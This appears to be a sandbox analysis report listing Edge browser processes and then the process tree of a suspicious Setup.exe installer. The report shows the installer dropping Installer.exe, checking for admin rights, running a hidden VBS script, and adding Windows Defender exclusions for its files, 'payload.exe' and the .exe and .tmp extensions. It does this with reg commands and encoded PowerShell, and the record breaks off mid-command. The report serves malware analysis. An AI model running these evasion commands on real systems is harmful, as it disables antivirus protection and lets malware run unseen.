  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --metrics-shmem-handle=6876,i,14904932766187941418,9570857746222622068,2097152 --field-trial-handle=2700,i,12788938838556409526,5220814360559859277,262144 --variations-seed-version --mojo-platform-channel-handle=5040 /prefetch:1
  2⤵
  PID:4604
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --metrics-shmem-handle=7156,i,6538907637146412145,10555989431037206685,2097152 --field-trial-handle=2700,i,12788938838556409526,5220814360559859277,262144 --variations-seed-version --mojo-platform-channel-handle=7140 /prefetch:1
  2⤵
  PID:6056
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --metrics-shmem-handle=5076,i,3805191035418797022,2631030183852129117,2097152 --field-trial-handle=2700,i,12788938838556409526,5220814360559859277,262144 --variations-seed-version --mojo-platform-channel-handle=7416 /prefetch:1
  2⤵
  PID:1188
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --metrics-shmem-handle=7032,i,15202277668250050687,17913833409790930266,2097152 --field-trial-handle=2700,i,12788938838556409526,5220814360559859277,262144 --variations-seed-version --mojo-platform-channel-handle=7364 /prefetch:1
  2⤵
  PID:844
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --always-read-main-dll --metrics-shmem-handle=5060,i,15932630456378513733,6375708124340873907,2097152 --field-trial-handle=2700,i,12788938838556409526,5220814360559859277,262144 --variations-seed-version --mojo-platform-channel-handle=7316 /prefetch:1
  2⤵
  PID:4812
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --always-read-main-dll --metrics-shmem-handle=7532,i,17635589839008673062,362765587217196170,2097152 --field-trial-handle=2700,i,12788938838556409526,5220814360559859277,262144 --variations-seed-version --mojo-platform-channel-handle=7536 /prefetch:1
  2⤵
  PID:5528
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --always-read-main-dll --metrics-shmem-handle=7808,i,10301561835654679148,9229585475205513362,2097152 --field-trial-handle=2700,i,12788938838556409526,5220814360559859277,262144 --variations-seed-version --mojo-platform-channel-handle=7828 /prefetch:1
  2⤵
  PID:4104
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7664,i,9972837605054842229,10492604455859694022,524288 --field-trial-handle=2700,i,12788938838556409526,5220814360559859277,262144 --variations-seed-version --mojo-platform-channel-handle=8076 /prefetch:14
  2⤵
  PID:5228
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --always-read-main-dll --metrics-shmem-handle=8068,i,293946506764603387,3333872609031072621,2097152 --field-trial-handle=2700,i,12788938838556409526,5220814360559859277,262144 --variations-seed-version --mojo-platform-channel-handle=8088 /prefetch:1
  2⤵
  PID:5728
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --always-read-main-dll --metrics-shmem-handle=8400,i,17172589298482987405,4741286069013049444,2097152 --field-trial-handle=2700,i,12788938838556409526,5220814360559859277,262144 --variations-seed-version --mojo-platform-channel-handle=8416 /prefetch:1
  2⤵
  PID:3544
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --always-read-main-dll --metrics-shmem-handle=8580,i,6379213284354151527,4528146925135308928,2097152 --field-trial-handle=2700,i,12788938838556409526,5220814360559859277,262144 --variations-seed-version --mojo-platform-channel-handle=8600 /prefetch:1
  2⤵
  PID:5520
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=8652,i,4419454271810327408,4068904403838189413,524288 --field-trial-handle=2700,i,12788938838556409526,5220814360559859277,262144 --variations-seed-version --mojo-platform-channel-handle=7456 /prefetch:14
  2⤵
  PID:4764
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6984,i,6793448933339359996,4307729929637906161,524288 --field-trial-handle=2700,i,12788938838556409526,5220814360559859277,262144 --variations-seed-version --mojo-platform-channel-handle=8792 /prefetch:14
  2⤵
  PID:4312
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=8784,i,3614882903342097420,13487002465235383953,524288 --field-trial-handle=2700,i,12788938838556409526,5220814360559859277,262144 --variations-seed-version --mojo-platform-channel-handle=4960 /prefetch:14
  2⤵
  PID:1892
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=8788,i,14970905304160552956,10224632858427385674,524288 --field-trial-handle=2700,i,12788938838556409526,5220814360559859277,262144 --variations-seed-version --mojo-platform-channel-handle=8836 /prefetch:14
  2⤵
  PID:5048
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7876,i,15384276615448525648,6583239090582374023,524288 --field-trial-handle=2700,i,12788938838556409526,5220814360559859277,262144 --variations-seed-version --mojo-platform-channel-handle=8088 /prefetch:14
  2⤵
  PID:6028
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7876,i,15384276615448525648,6583239090582374023,524288 --field-trial-handle=2700,i,12788938838556409526,5220814360559859277,262144 --variations-seed-version --mojo-platform-channel-handle=8088 /prefetch:14
  2⤵
  PID:712
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --always-read-main-dll --metrics-shmem-handle=5048,i,2012185591781629347,4407138324477812956,2097152 --field-trial-handle=2700,i,12788938838556409526,5220814360559859277,262144 --variations-seed-version --mojo-platform-channel-handle=8340 /prefetch:1
  2⤵
  PID:2676
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1888,i,3153329128364742942,7456414860994967351,524288 --field-trial-handle=2700,i,12788938838556409526,5220814360559859277,262144 --variations-seed-version --mojo-platform-channel-handle=8144 /prefetch:14
  2⤵
  PID:2240
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6180,i,14784783032632497951,5528401287381629943,262144 --field-trial-handle=2700,i,12788938838556409526,5220814360559859277,262144 --variations-seed-version --mojo-platform-channel-handle=5824 /prefetch:10
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1340

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:5692

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:5548

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4860

C:\Users\Admin\Downloads\Setup\Setup.exe
"C:\Users\Admin\Downloads\Setup\Setup.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:408
- C:\Users\Admin\AppData\Local\Temp\3GLomF1OaI7P3QwaNa2rXkctvvB\Installer.exe
  C:\Users\Admin\AppData\Local\Temp\3GLomF1OaI7P3QwaNa2rXkctvvB\Installer.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:6688
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "net session"
    3⤵
    PID:6820
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:6888
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:6904
- - C:\Users\Admin\AppData\Local\Temp\3GLomF1OaI7P3QwaNa2rXkctvvB\Installer.exe
    "C:\Users\Admin\AppData\Local\Temp\3GLomF1OaI7P3QwaNa2rXkctvvB\Installer.exe" --type=gpu-process --disable-gpu-sandbox --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1708 --field-trial-handle=1712,i,15329707752892151326,2629048677672302571,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:2
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:6828
- - C:\Users\Admin\AppData\Local\Temp\3GLomF1OaI7P3QwaNa2rXkctvvB\Installer.exe
    "C:\Users\Admin\AppData\Local\Temp\3GLomF1OaI7P3QwaNa2rXkctvvB\Installer.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --mojo-platform-channel-handle=1972 --field-trial-handle=1712,i,15329707752892151326,2629048677672302571,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:3
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:6944
- - C:\Users\Admin\AppData\Local\Temp\3GLomF1OaI7P3QwaNa2rXkctvvB\Installer.exe
    "C:\Users\Admin\AppData\Local\Temp\3GLomF1OaI7P3QwaNa2rXkctvvB\Installer.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --app-path="C:\Users\Admin\AppData\Local\Temp\3GLomF1OaI7P3QwaNa2rXkctvvB\resources\app" --enable-sandbox --no-sandbox --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --mojo-platform-channel-handle=2176 --field-trial-handle=1712,i,15329707752892151326,2629048677672302571,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:1
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:7024
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "net session"
    3⤵
    PID:6184
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:6240
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:6264
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\wmi_e1dde518.vbs""
    3⤵
    PID:6292
  - - C:\Windows\system32\wscript.exe
      wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\wmi_e1dde518.vbs"
      4⤵
      PID:3056
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\3GLomF1OaI7P3QwaNa2rXkctvvB\Installer.exe" /t REG_DWORD /d 0 /f"
    3⤵
    PID:6304
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\3GLomF1OaI7P3QwaNa2rXkctvvB\Installer.exe" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:4524
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\3GLomF1OaI7P3QwaNa2rXkctvvB\Installer.exe" /t REG_DWORD /d 0 /f"
    3⤵
    PID:6316
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\3GLomF1OaI7P3QwaNa2rXkctvvB\Installer.exe" /t REG_DWORD /d 0 /f
      4⤵
      PID:6308
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783846369044" /t REG_DWORD /d 0 /f"
    3⤵
    PID:6328
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783846369044" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:1848
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783846369044" /t REG_DWORD /d 0 /f"
    3⤵
    PID:6340
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783846369044" /t REG_DWORD /d 0 /f
      4⤵
      PID:4944
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache" /t REG_DWORD /d 0 /f"
    3⤵
    PID:6364
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:6356
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache" /t REG_DWORD /d 0 /f"
    3⤵
    PID:6388
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache" /t REG_DWORD /d 0 /f
      4⤵
      PID:5756
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783846369044\payload.exe" /t REG_DWORD /d 0 /f"
    3⤵
    PID:6400
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783846369044\payload.exe" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:6296
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783846369044\payload.exe" /t REG_DWORD /d 0 /f"
    3⤵
    PID:6424
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783846369044\payload.exe" /t REG_DWORD /d 0 /f
      4⤵
      PID:6640
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".exe" /t REG_DWORD /d 0 /f"
    3⤵
    PID:6436
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".exe" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:2316
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".tmp" /t REG_DWORD /d 0 /f"
    3⤵
    PID:6456
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".tmp" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:6224
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "payload.exe" /t REG_DWORD /d 0 /f"
    3⤵
    PID:5080
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "payload.exe" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:428
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAzAEcATABvAG0ARgAxAE8AYQBJADcAUAAzAFEAdwBhAE4AYQAyAHIAWABrAGMAdAB2AHYAQgBcAEkAbgBzAHQAYQBsAGwAZQByAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFMAZQB0AHUAcABcAGMAYQBjAGgAZQBcADEANwA4ADMAOAA0ADYAMwA2ADkAMAA0ADQAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFMAZQB0AHUAcABcAGMAYQBjAGgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAUwBlAHQAdQBwAFwAYwBhAGMAaABlAFwAMQA3ADgAMwA4ADQANgAzADYAOQAwADQANABcAHAAYQB5AGwAbwBhAGQALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAEUAeAB0AGUAbgBzAGkAbwBuACAAJwAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIAAnAC4AdABtAHAAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAJwBwAGEAeQBsAG8AYQBkAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAA=="
    3⤵
    PID:6500
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAzAEcATABvAG0ARgAxAE8AYQBJADcAUAAzAFEAdwBhAE4AYQAyAHIAWABrAGMAdAB2AHYAQgBcAEkAbgBzAHQAYQBsAGwAZQByAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFMAZQB0AHUAcABcAGMAYQBjAGgAZQBcADEANwA4ADMAOAA0ADYAMwA2ADkAMAA0ADQAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFMAZQB0AHUAcABcAGMAYQBjAGgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAUwBlAHQAdQBwAFwAYwBhAGMAaABlAFwAMQA3ADgAMwA4ADQANgAzADYAOQAwADQANABcAHAAYQB5AGwAbwBhAGQALgBlAHgAZQAnACAALQBGAG8AcgBjAG